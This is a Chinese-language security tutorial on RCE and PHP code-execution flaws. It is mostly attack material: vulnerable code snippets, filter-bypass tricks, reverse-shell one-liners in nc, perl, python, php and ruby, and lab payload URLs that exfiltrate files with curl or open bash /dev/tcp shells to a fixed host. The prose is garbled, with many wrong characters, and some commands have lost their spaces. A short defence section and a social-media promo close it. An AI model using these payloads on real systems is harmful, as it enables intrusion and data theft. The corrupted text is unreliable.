共计 6255 个字符,预计需要花费 16 分钟才能阅读完成。
命令执行(RCE)破绽和代码执行破绽区别如下:
- 代码执行实际上是调用服务器网站代码进行执行
- 命令执行则是调用操作系统命令进行执行
一、命令执行破绽
1、什么是命令执行
命令执行(Remote Command Execution, RCE)
Web 利用的脚本代码在执行命令的时候过滤不严
从而注入一段攻击者可能管制的代码, 在服务器上以 Web 服务的后盾权限近程执行歹意指令
成因
- 代码层过滤不严
- 零碎的破绽造成命令注入
-
调用的第三方组件存在代码执行破绽常见的命令执行函数
- PHP:exec、shell_exec、system、passthru、popen、proc_open 等
- ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo 等
- Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec 等
2、常用命令执行函数
(1)system
该函数会把执行后果输入
并把输入后果的最初一行作为字符串返回
如果执行失败则返回 false
这个也最为罕用
<?php
highlight_file(__FILE__);
system('pwd');
system('whoami');
?>
(2)exec
不输入后果, 返回执行后果的最初一行
能够应用 output 进行输入
<?php
highlight_file(__FILE__);
exec('pwd',$b);
var_dump($b);
?>
(3)passthru
此函数只调用命令
并把运行后果原样地间接输入
没有返回值。
<?php
highlight_file(__FILE__);
passthru('ls');
?>
(4)shell_exec
不输入后果,返回执行后果
应用反引号(“) 时调用的就是此函数
<?php
highlight_file(__FILE__);
var_dump(shell_exec('ls'));
?>
(5)ob_start
此函数将关上输入缓冲,当输入缓冲激活后,脚本将不会输入内容(除 http 标头外)
相同须要输入的内容被存储在外部缓冲区中。
外部缓冲区的内容能够用 ob_get_contents()
函数复制到一个字符串变量中
想要输入存储在外部缓冲区中的内容
能够应用 ob_end_flush()
函数
另外,应用 ob_end_clean()
函数会静默抛弃掉缓冲区的内容
<?php
ob_start("system");
echo "whoami";
ob_end_flush();
?>
3、命令连接符
Windows 和 Linux 都反对的命令连接符:
cmd1 | cmd2
只执行 cmd2-cmd1 || cmd2
只有当 cmd1 执行失败后,cmd2 才被执行cmd1 & cmd2
先执行 cmd1,不论是否胜利,都会执行 cmd2cmd1 && cmd2
先执行 cmd1,cmd1 执行胜利后才执行 cmd2,否则不执行 cmd2
Linux 还反对分号;
cmd1 ; cmd2
按程序顺次执行,先执行 cmd1 再执行 cmd2
二、代码执行破绽
1、什么是代码执行
代码执行破绽是因为服务器 对危险函数过滤不严
导致用户输出的一些字符串能够被转换成代码来执行, 从而造成代码执行破绽
成因
- 用户可能管制函数输出
-
存在可执行代码的危险函数常见代码执行函数
- PHP: eval、assert、preg_replace()、+/ e 模式(PHP 版本 <5.5.0)
- Javascript: eval
- Vbscript:Execute、Eval
- Python: exec
2、罕用代码执行函数
(1)${}
执行代码
两头的 php 代码将会被解析
<?php
${<!-- -->phpinfo()};
?>
(2)eval
将字符串当做函数进行执行
须要传入一个残缺的语句
必须以分号 ;
结尾
最罕用的函数
<?php
eval('echo"hello";');
?>
(3)assert
判断是否为字符串
是则当成代码执行
在 php7.0.29 之后的版本不反对动静调用
低版本
<?php
assert($_POST['a']);
?>
7.0.29 之后
<?php
$a = 'assert';
$a(phpinfo());
?>
(4)preg_replace
用来执行一个正则表达式的搜寻和替换
执行代码须要应用/e
修饰符
前提是不超过 php7
mixed preg_replace (mixed pattern, mixed replacement, mixed subject [, int limit])
$pattern
: 正则表达式匹配的内容 –$replacement
: 用于替换的字符串或字符串数组。$subject
: 要搜寻替换的指标字符串或字符串数组
<?php
preg_replace("/pat/e", $_GET['reg'], 'my pat');
?>
(5)create_function
用来创立匿名函数
create_function(string $args,string $code)
- args 是要创立的函数的参数
- code 是函数内的代码
一个 demo
<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = 'return 1 *' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>
payload
?sort_by="]);}phpinfo();/*
(6)array_map
为数组的每个元素利用回调函数
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);
?>
payload
?a=assert&b=phpinfo();
(7)call_user_func
回调函数,能够应用 is_callable 查看是否能够进行调用
mixed call_user_func (callable $callback [, mixed $parameter [, mixed $...]] )
第一个参数 callback 是被调用的回调函数
其余参数是回调函数的参数
<?php
highlight_file(__FILE__);
$a = 'system';
$b = 'pwd';
call_user_func($a,$b);
call_user_func('eval','phpinfo()');
?>
(8)call_user_func_array
回调函数,参数为数组
mixed call_user_func_array (callable $callback , array $param_arr)
第一个参数作为回调函数(callback)调用
把参数数组作(param_arr)为回调函数的的参数传入
<?php
highlight_file(__FILE__);
$array[0] = $_POST['a'];
call_user_func_array("assert",$array);
?>
(9)array_filter
array array_filter (array $array [, callable $callback [, int $flag = 0]] )
顺次将 array 数组中的每个值传递到 callback 函数
如果 callback 函数返回 true,则 array 数组的以后值会被蕴含在返回的后果数组中
数组的键名保留不变。
<?php
highlight_file(__FILE__);
$array[0] = $_GET['a'];
array_filter($array,'assert');
?>
(10)usort
应用自定义函数对数组进行排序
bool usort (array &$array , callable $value_compare_func)
本函数将用用户自定义的比拟函数对一个数组中的值进行排序
如果要排序的数组须要用一种不寻常的规范进行排序,那么应该应用此函数
<?php
highlight_file(__FILE__);
usort(...$_GET); php5.6 以上的写法
#usort($_GET[1],'assert'); php5.6 可用
?>
payload
1[]=phpinfo()&1[]=123&2[]=assert
三、绕过姿态
1、常见分隔符
- 换行符
%0a
- 回车符
%0d
- 间断指令
;
- 后盾过程
&
- 管道符
|
- 逻辑
||
、&&
2、空格
能够用以下字符代替空格
<
${<!-- -->IFS}
$IFS$9
%09
$IFS
在 linux 下示意分隔符- 加一个
{}
固定了变量名 - 同理在前面加个$
能够起到截断的作用 - $9 只是以后零碎 shell 过程的第九个参数的持有者,它始终为空字符串
3、命令终止符
%00
%20
4、敏感字符绕过
(1)变量绕过
a=l,b=s;$a$b
(2)base64 编码绕过
echo 'cat' | base64
`echo 'Y2F0Cg==' | base64 -d` test.txt
(3)未定义的初始化变量
cat$b /etc/passwd
(4)连接符
cat /etc/pass'w'd
(5)通配符
Bash 规范通配符(也称为通配符模式)被各种命令行程序用于解决多个文件
能够通过 man 7 glob 查看通配符帮忙或者间接拜访 linux 官网查问文档
ls 命令咱们能够通过以下语法代替执行
/???/?s --help
四、反向连贯(Reverse Shell)的各类技术办法
- rm/tmp/f; mkfifo/tmp/f; cat /tmp/f|/bin/sh-i2>&1|nc 192.168.80.30 443 >/tmp/f
- perl-e 'use Socket;$i="192.168.80.30";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh-i");};'
- python-c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.80.30",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
- php-r '$sock=fsockopen("192.168.80.30",443);exec("/bin/sh-i<&3 >&3 2>&3");’- ruby-rsocket-e'f=TCPSocket.open("192.168.80.30",443).to_i;execsprintf("/bin/sh-i<&%d >&%d 2>&%d",f,f,f)'
五、一些场景利用
1、无任何过滤或简略过滤
▪http://192.168.80.30/low.php?name=;cat flag.php
▪http://192.168.80.30/low.php?name=%26cat flag.php
▪http://192.168.80.30/low.php?name=|cat flag.php
▪http://192.168.80.30/low.php?name=`cat flag.php`
2、过滤了;,|,&,`
▪http://192.168.80.30/medium.php?name=%0acat flag.php
▪http://192.168.80.30/medium.php?name=$(cat flag.php)
3、过滤了;,|,&,`,\s
▪http://192.168.80.30/high.php?name=$(cat<flag.php)
▪http://192.168.80.30/high.php?name=$(cat$IFS./flag.php)
4、过滤了关键词,比方 cat
http://192.168.80.30/low.php?name=;c''at flag.php
http://192.168.80.30/low.php?name=;c\at flag.php
http://192.168.80.30/low.php?name=;c$@at flag.php
http://192.168.80.30/high.php?name=$(c\at<flag.php)
http://192.168.80.30/high.php?name=$(tac<flag.php)
http://192.168.80.30/high.php?name=$(more<flag.php)
http://192.168.80.30/high.php?name=$(tail<flag.php)
5、页面无命令后果的回显
▪http://192.168.80.30/noecho.php?name=;curl 192.168.9.111:1234?hh=`ls|base64`
▪http://192.168.80.30/noecho.php?name=;curl 192.168.9.111:1234?hh=`cat flag.php|base64`
▪http://192.168.80.30/noecho.php?name=%0acurl 192.168.9.111:1234?hh=`cat flag.php|base64`
▪http://192.168.80.30/noecho.php?name=%3Bbash%20-c%20%22bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.9.111%2f1234%200%3E%261%22%20
▪http://192.168.80.30/noecho.php?name=;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.9.111",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
六、防范措施
- 尽量不要应用零碎执行命令
- 在进入执行命令函数 / 办法前,变量要做好过滤,对敏感字符本义
- 在应用动静函数前,确保应用的函数是指定的函数之一
- 对 PHP 语言,不能齐全管制的危险函数就不要用
学习不走弯路,关注公粽号「网络安全自修室」,获取网络安全学习教程及路线专属大礼包哦!
本文由 mdnice 多平台公布